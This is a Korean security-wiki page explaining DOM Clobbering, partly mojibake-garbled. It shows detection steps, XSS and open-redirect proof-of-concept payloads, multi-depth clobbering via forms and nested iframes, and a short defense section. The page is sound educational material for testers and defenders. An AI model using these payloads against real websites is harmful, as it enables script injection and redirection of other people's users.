Back

DOM Clobbering

๐Ÿ” Introduction

DOM Clobbering์€ Javascript์—์„œ์˜ DOM ์ฒ˜๋ฆฌ ๋ฐฉ์‹์„ ์ด์šฉํ•œ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. Clobbering์€ ์˜๋ฏธ ๊ทธ๋Œ€๋กœ ์†Œํ”„ํŠธ์›จ์–ด ๊ณตํ•™์—์„œ ์˜๋„์ ,๋น„์˜๋„์ ์œผ๋กœ ํŠน์ • ๋ฉ”๋ชจ๋ฆฌ๋‚˜ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์™„์ „ํžˆ ๋ฎ์–ด์“ฐ๋Š” ํ˜„์ƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์‹œ ๋งํ•˜๋ฉด DOM์„ ๋ฎ์–ด์“ด๋‹ค๋Š” ์˜๋ฏธ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. HTML ํƒœ๊ทธ ์ค‘ id ์†์„ฑ์œผ๋กœ ๋ช…์‹œ๋œ Object๋Š” window object์—์„œ๋„ ํ˜ธ์ถœ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•œ ๊ณต๊ฒฉ์ด DOM Clobbering์ž…๋‹ˆ๋‹ค.

<a id="testzz" href="/111">
<script>
  alert(window.testzz)
</script>
<!-- ๊ฒฐ๊ณผ๋Š” 111 -->

แ„‰แ…ณแ„แ…ณแ„…แ…ตแ†ซแ„‰แ…ฃแ†บ 2021-10-08 แ„‹แ…ฉแ„Œแ…ฅแ†ซ 1 21 24

ํ•œ๊ฐ€์ง€ ์˜ˆ์‹œ๋ฅผ ๋“ค์–ด๋ณด์ฃ . ์•„๋ž˜์™€ ๊ฐ™์ด location.href์— window.mylocation์˜ ๊ฐ’์„ ๋„ฃ๋Š” ์ฝ”๋“œ๊ฐ€ ์žˆ๋‹ค๊ณ  ์นฉ์‹œ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ mylocation ๊ฐ’์„ ์ง์ ‘ ์ œ์–ดํ•˜์ง€ ๋ชปํ•œ๋‹ค๋ฉด location.href๋ฅผ ์ปจํŠธ๋กคํ•  ์ˆœ ์—†์Šต๋‹ˆ๋‹ค.

document.location.href = window.mylocation

๋‹ค๋งŒ HTML ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ํ™˜๊ฒฝ์ด๋ผ๋ฉด (์Šคํฌ๋ฆฝํŠธ ๊ณ„ํ†ต์€ ์ฐจ๋‹จ์ด๋ผ๊ณ  ํ•˜๋”๋ผ๋„) ์•„๋ž˜์™€ ๊ฐ™์ด window.mylocation ๊ฐ’์„ HTML ํƒœ๊ทธ์™€ ์†์„ฑ์„ ์ด์šฉํ•˜์—ฌ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<input id="mylocation" value="javascript:alert(45)"></a>

name ์†์„ฑ์œผ๋กœ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค ๐Ÿ˜

๐Ÿ—ก Offensive techniques

Detect

DOM Clobbering์€ ๋‹จ๋…์ ์œผ๋กœ ์‚ฌ์šฉ๋œ๋‹ค๊ธฐ ๋ณด๋‹จ XSS๋‚˜ Open Redirect ๋“ฑ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ๊ณผ ์—ฐ๊ณ„๋  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. DOM ๊ฐ์ฒด๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜๋กœ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ํ†ตํ•ด innerHTML, eval() ๊ตฌ๊ฐ„ ๋“ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ตฌ๊ฐ„์ด๋‚˜ Prototype Pollution์„ ํ†ตํ•ด ๋น„์ •์ƒ์ ์ธ ์„œ๋น„์Šค ๊ฐ์ฒด๊ฐ€ ์ƒ์„ฑ๋˜๋„๋ก ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ”Œ๋กœ์šฐ๋ฅผ ๋‚˜๋ˆ ๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  1. ์‚ฌ์šฉ์ž๊ฐ€ HTML์„ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•œ๋‹ค. (๋ณดํ†ต ์Šคํฌ๋ฆฝํŠธ๋Š” ์ฐจ๋‹จํ•˜๋Š” HTML ํ—ˆ์šฉ ์„œ๋น„์Šค๊ฐ€ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ํŽธํ•˜๊ฒ ์ฃ )
  2. ์„œ๋น„์Šค ๋‚ด DOM ๊ด€๋ จ ์ทจ์•ฝ(innerHTML, eval(), document.write, location.href ๋“ฑ) ๊ตฌ๊ฐ„์„ ํ™•์ธํ•œ๋‹ค.
  3. ํ•ด๋‹น ๊ตฌ๊ฐ„์„ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐ์ดํ„ฐ์— window.blah์™€ ๊ฐ™์ด DOM Clobbering์ด ๊ฐ€๋Šฅํ•œ ์ง€์ ์„ ์ฐพ๋Š”๋‹ค.
  4. DOM Clobbering !!!

Exploitation

XSS

<a id="mycode" href="//<svg/onload=alert(45)>"></a>
<script>
  document.innerHTML = window.mycode
</script>

Open Redirect

<a id="url" href="//www.hahwul.com"></a>
<script>
  location.href = window.url
</script>

Etc

์ด์™ธ์—๋„ DOM ์˜์—ญ์—์„œ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๊ฒƒ๋“ค์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • DOM Clobbering through DOMPurify sanitizer document.write(safe_dom.innerHTML).
  • Escaping the src= context in the <img> via " character.
  • Clobbering document variables through name=variable in the <img>.
  • Dangling markup in <img> allows invalidating /* config.js */ script.
  • Scripts were split into smaller pieces on purpose โ€” itโ€™s easier to invalidate unwanted parts of the code, like in the example above.
  • Itโ€™s not widely known but setTimeout works like eval, therefore setTimeout(โ€œalert(1)โ€) pops out an alert.
  • In the /* trusted.js */ script itโ€™s possible to make window.show_session undefined via name=cookie in the <img> while preserving the function is_trusted() defined.
  • The function contains() is unsafely coded allowing many bypasses, e.g. ‘undefined in window’ returns true.
  • Nested objects can be clobbered using stacked iframes.
  • document.cookie can be overridden from sandbox.terjanq.me.
  • When a page is loaded in an iframe, sandbox and allow can invalidate some parts of the code.

String to Code Table

1418 (2) https://www.slideshare.net/x00mario/in-the-dom-no-one-will-hear-you-scream

Bypass protection

Two-Depth Clobbering

๋–„๋•Œ๋กœ window.blah.blah ์™€ ๊ฐ™์ด depth๊ฐ€ 2๋ฒˆ ์ด์ƒ ๋“ค์–ด๊ฐ€๋Š” ๊ฒฝ์šฐ๋„ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ name ์†์„ฑ์„ ์ด์šฉํ•˜๋ฉด clobbering์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. DOM์€ ๋™์ผํ•œ ์ด๋ฆ„์˜ id๊ฐ€ ๋ณต์ˆ˜๋กœ ์กด์žฌํ•˜๋Š” ๊ฒฝ์šฐ name ๊ฐ’์„ ํ•˜์œ„ ๊ฐ์ฒด์™€ ๋น„์Šทํ•œ ํ˜•ํƒœ๋กœ ์ธ์ง€ํ•ฉ๋‹ˆ๋‹ค.

var data = window.mydata.phonenumber
<b id="mydata"><a id="mydata" name="phonenumber" href="//fake data!!!">

แ„‰แ…ณแ„แ…ณแ„…แ…ตแ†ซแ„‰แ…ฃแ†บ 2021-10-08 แ„‹แ…ฉแ„Œแ…ฅแ†ซ 1 38 07

Three-Depth Clobbering

form ํƒœ๊ทธ์™€ ๊ฐ™์ด ํ•˜์œ„ Object๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ๋Š” ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•˜๋ฉด window.x.y.z ๊ณผ ๊ฐ™์ด 3depth์˜ object๋„ clobbering์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

<b id="mydata"></b>
<form id="mydata" name="phonenumber">
  <input id="dataz">
</form>
alert(window.mydata.phonenumber.dataz)

แ„‰แ…ณแ„แ…ณแ„…แ…ตแ†ซแ„‰แ…ฃแ†บ 2021-10-08 แ„‹แ…ฉแ„Œแ…ฅแ†ซ 1 42 57

More-Depth Clobbering

iframe๊ณผ srcdoc์„ ์ด์šฉํ•˜๋ฉด 4-Depth ์ด์ƒ์˜ Clobbering์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>

แ„‰แ…ณแ„แ…ณแ„…แ…ตแ†ซแ„‰แ…ฃแ†บ 2021-10-08 แ„‹แ…ฉแ„Œแ…ฅแ†ซ 1 54 25

Clobbering with ID/PW

<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
	alert(x.username + " and " +x.password)
</script>

แ„‰แ…ณแ„แ…ณแ„…แ…ตแ†ซแ„‰แ…ฃแ†บ 2021-10-08 แ„‹แ…ฉแ„Œแ…ฅแ†ซ 1 46 06

๐Ÿ›ก Defensive techniques

DOM Clobbering์€ Javascript์˜ DOM ์ฒ˜๋ฆฌ ๋ฐฉ์‹์„ ์ด์šฉํ•œ ๋ฐฉ๋ฒ•์ด๋ผ ๋‹จ๋…์ ์œผ๋กœ ๋ง‰๊ธฐ๋Š” ์–ด๋ ต์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž๊ฐ€ HTML ์ฝ”๋“œ๋ฅผ ์„œ๋น„์Šค์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋„๋ก ์ œํ•œํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์ด๋ฉฐ, ์„œ๋น„์Šค ํŠน์„ฑ ์ƒ ํ—ˆ์šฉํ•ด์•ผ ํ•œ๋‹ค๋ฉด id, name ๋“ฑ DOM Clobbering์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์†์„ฑ์€ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” CSS Injection์˜ ๋Œ€์‘๋ฐฉ์•ˆ๊ณผ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ•น Tools

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0